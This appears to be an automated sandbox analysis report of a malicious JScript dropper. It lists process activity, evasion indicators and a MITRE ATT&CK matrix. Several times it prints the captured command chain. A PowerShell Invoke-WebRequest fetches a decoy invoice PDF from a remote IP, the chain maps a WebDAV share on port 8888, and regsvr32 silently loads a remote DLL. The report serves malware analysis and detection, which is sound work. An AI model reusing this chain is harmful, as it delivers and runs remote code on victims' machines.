Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4216.js.csv");ITextStream.WriteLine(" entry:7548 f:casisuoj");ITextStream.WriteLine(" exec:2 f:casisuoj");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4659			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5160			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2292	Thread sleep count: 4659 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2292	Thread sleep count: 5160 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6888	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6696	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3020	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6496	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1588518753.000001974E98F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000007.00000002.1588518753.000001974E928000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW3
Source: wscript.exe, 00000000.00000003.1479271224.000002D0F22E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: net.exe, 00000007.00000002.1588518753.000001974E98F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2765663866.000002F6C102B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2767972327.000002F6C6641000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2768048669.000002F6C6654000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21882994613744.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
